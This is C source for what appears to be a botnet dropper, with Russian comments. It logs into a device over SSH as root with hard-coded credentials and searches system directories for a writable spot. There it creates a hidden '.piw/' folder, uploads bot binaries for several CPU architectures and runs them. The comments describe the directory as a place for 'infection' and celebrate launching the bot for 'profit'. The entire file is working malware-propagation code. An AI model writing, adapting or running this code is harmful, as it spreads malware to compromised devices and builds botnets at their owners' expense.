inject_c

#define _BSD_SOURCE
#include <libssh/libssh.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define MYSFTP_BUFFER_SIZE 8192
const char *dropPaths[] = {"/lib/",          ".",     "/dev/",    "/dev/shm/",
                           "/var/volatile/", "/tmp/", "/sys/",    "/var/lib/",
                           "/root/",         "/etc/", "/var/log/"};
const char *Files[] = {"bin_x86",  "bin_x86_64", "bin_arm", "bin_arm64",
                       "bin_mips", "bin_mips64", "bin_sh"};
char *PATH;

void ext(const char *s);
void LoveYou(ssh_session session);
ssh_session meauth(const char *IP, const char *user, const char *pass);
bool ssh_exec(const char *command, ssh_session myssh);
bool ssh_exec_check(const char *command, ssh_session myssh, char *data,
                    int timeout);
void execBot(const char *remotePath, char *bigbuffer, ssh_session session);
int my_loving(char *buffer, char *bigBuffer, ssh_scp scp);
bool create_dir(const char *dirname, ssh_session session);
int copy_file(const char *remoteF, const char *localF, char *bigbuffer,
              ssh_scp scp);
char *getPATH(char *argv0);
int main(int argc, char *argv[]) {

  PATH = getPATH(argv[0]);

  ssh_session ssh = meauth("192.168.0.105", "root", "dudePass");
  LoveYou(ssh);
}
void ext(const char *s) {
  printf("%s\n", s);
  exit(0);
}
char *getPATH(char *argv0) {
  char *ptr = argv0 + (strlen(argv0) - 1);
  for (; ptr > argv0; ptr--) {
    if ((*ptr) == '/') {
      *(ptr + 1) = '\0';
      char *OUT = strdup(argv0);
      *(ptr + 1) = '/';
      return OUT;
    }
  }
  return strdup("./");
}
ssh_session meauth(const char *IP, const char *user, const char *pass) {
  ssh_session ssh = ssh_new();
  int P = 22;
  ssh_options_set(ssh, SSH_OPTIONS_HOST, IP);
  ssh_options_set(ssh, SSH_OPTIONS_USER, user);
  ssh_options_set(ssh, SSH_OPTIONS_PORT, &P);

  if (ssh_connect(ssh) != SSH_OK)
    ext("CNCT");
  if (ssh_userauth_password(ssh, user, pass) != SSH_AUTH_SUCCESS)
    ext("AUTH");
  return ssh;
}

bool my_parachute(char *wbuff, int *startInd, ssh_session session) {
  int ii = (*startInd), lenDrops = sizeof(dropPaths) / sizeof(const char *);
  if (ii >= lenDrops)
    return false;
  int mkdir_rc = 0;
  for (; ii < lenDrops; ii++) {
    strcpy(wbuff, dropPaths[ii]);
    strcat(wbuff, ".piw/");
    bool mkdir_rc = create_dir(wbuff, session);
    if (mkdir_rc == true)
      break;
  }
  if (mkdir_rc != true)
    return false;
  (*startInd) = ii;
  return true;
}
void LoveYou(ssh_session session) {
  char *buffer = (char *)malloc(512);
  char *bigBuffer = (char *)malloc(MYSFTP_BUFFER_SIZE);
  int rc = 0, parashute_ind = 0;
  ssh_scp scp = NULL;
  while (1) {
    // my_parashute() - находит путь, папку, доступную для записи(заражения) для
    // взломанного пользователя. Грубо говоря - ищем путь, где можем оставить и
    //запустить бинарники.
    if (!my_parachute(buffer, &parashute_ind, session)) {
      //не нашли ни один путь, куда можем разместить бинарники.Печалька, уходим
      //с пустыми руками
      goto free_all;
    }
    parashute_ind++;

    //создаем и инициализируем сессию SCP
    scp = ssh_scp_new(session, SSH_SCP_WRITE | SSH_SCP_RECURSIVE, buffer);
    if (scp == NULL)
      continue;
    if (ssh_scp_init(scp) != SSH_OK) {
      ssh_scp_free(scp);
      scp = NULL;
      continue;
    }

    // my_loving() - переносим наши бинарники в найденный путь(buffer).
    // bigbuffer - буффер для записи и отправки по сокету данных
    if (my_loving(buffer, bigBuffer, scp) < 0) {
      //Не хватило места или какая-то другая ошибка. Ищем другой путь
      ssh_scp_free(scp);
      scp = NULL;
      continue;
    }
    //Успешно отправили бинарники
    ssh_scp_free(scp);
    scp = NULL;
    break;
  }
  //Запускаем бота на устройстве. profit ;)
  execBot(buffer, bigBuffer, session);
free_all:
  ssh_disconnect(session);
  ssh_free(session);
  free(bigBuffer);
  free(buffer);
}

bool create_dir(const char *dirname, ssh_session session) {
  char *data = malloc(strlen(dirname) + 50);
  strcpy(data, "mkdir ");
  strcat(data, dirname);
  return ssh_exec_check(data, session, data, 5000);
}
int copy_file(const char *remoteF, const char *localF, char *bigbuffer,
              ssh_scp scp) {
  ssize_t size = 0, tmpp = 0;
  struct stat st;
  if (stat(localF, &st) < 0)
    return SSH_ERROR;
  size = st.st_size;

  FILE *fin = fopen(localF, "r");
  if (!fin)
    return SSH_ERROR;

  int rc = ssh_scp_push_file(scp, remoteF, size, S_IRWXU);
  if (rc != SSH_OK) {
    fclose(fin);
    return SSH_ERROR;
  }
  while (1) {
    tmpp = fread(bigbuffer, 1, MYSFTP_BUFFER_SIZE, fin);
    if (tmpp <= 0)
      break;
    rc = ssh_scp_write(scp, bigbuffer, tmpp);
    if (rc != SSH_OK) {
      fclose(fin);
      return SSH_ERROR;
    }
  }
  fclose(fin);
  return 1;
}
int my_loving(char *buffer, char *bigBuffer, ssh_scp scp) {
  char *mePATH = (char *)malloc(strlen(PATH) + 64);
  strcpy(mePATH, PATH);
  int errtemp = 0, len_files = sizeof(Files) / sizeof(const char *);
  int len_target_path = strlen(buffer), len_mepath = strlen(mePATH);
  for (int ij = 0; ij < len_files; ij++) {
    strcat(buffer, Files[ij]); // remote path, where we write binaries.
    strcat(mePATH, Files[ij]); // local pathhhh

    errtemp = copy_file(buffer, mePATH, bigBuffer, scp);
    buffer[len_target_path] =
        '\0'; //отсекаем имя файла для следующего имени файла
    mePATH[len_mepath] = '\0'; //отсекаем имя файла для следующего имени файла
    if (errtemp == SSH_ERROR) {
      return SSH_ERROR;
    }
  }
  return 1;
}
void execBot(const char *remotePath, char *bigbuffer, ssh_session session) {
  bigbuffer[0] = '\0';
  int len_files = sizeof(Files) / sizeof(const char *);
  for (int i = 0; i < len_files; i++) {
    sprintf(bigbuffer + strlen(bigbuffer), "%s%s", remotePath, Files[i]);
    if (i != (len_files - 1)) {
      strcat(bigbuffer, " || ");
    }
  }
  ssh_exec(bigbuffer, session);
}
bool ssh_exec(const char *command, ssh_session myssh) {
  ssh_channel channel = ssh_channel_new(myssh);
  if (channel == NULL)
    return false;
  int rc = ssh_channel_open_session(channel);
  if (rc != SSH_OK) {
    ssh_channel_free(channel);
    return false;
  }
  rc = ssh_channel_request_exec(channel, command);
  if (rc != SSH_OK) {
#ifdef MYDEBUG
    printf("%s: ssh_request failed...\n", inet_ntoa(myssh->addr_in.sin_addr));
#endif
    ssh_channel_close(channel);
    ssh_channel_free(channel);
    return false;
  }
  ssh_channel_send_eof(channel);
  ssh_channel_close(channel);
  ssh_channel_free(channel);
  return true;
}
bool ssh_exec_check(const char *command, ssh_session myssh, char *data,
                    int timeout) {
  ssh_channel channel = ssh_channel_new(myssh);
  if (channel == NULL)
    return false;
  int rc = ssh_channel_open_session(channel);
  if (rc != SSH_OK) {
    ssh_channel_free(channel);
    return false;
  }
  rc = ssh_channel_request_exec(channel, command);
  if (rc != SSH_OK) {
#ifdef MYDEBUG
    printf("%s: ssh_request failed...\n", inet_ntoa(myssh->addr_in.sin_addr));
#endif
    ssh_channel_close(channel);
    ssh_channel_free(channel);
    return false;
  }
  int nbytes = ssh_channel_read(channel, data, 1024, timeout);
  ssh_channel_send_eof(channel);
  ssh_channel_close(channel);
  ssh_channel_free(channel);
  if (nbytes > 0)
    return false;
  return true;
}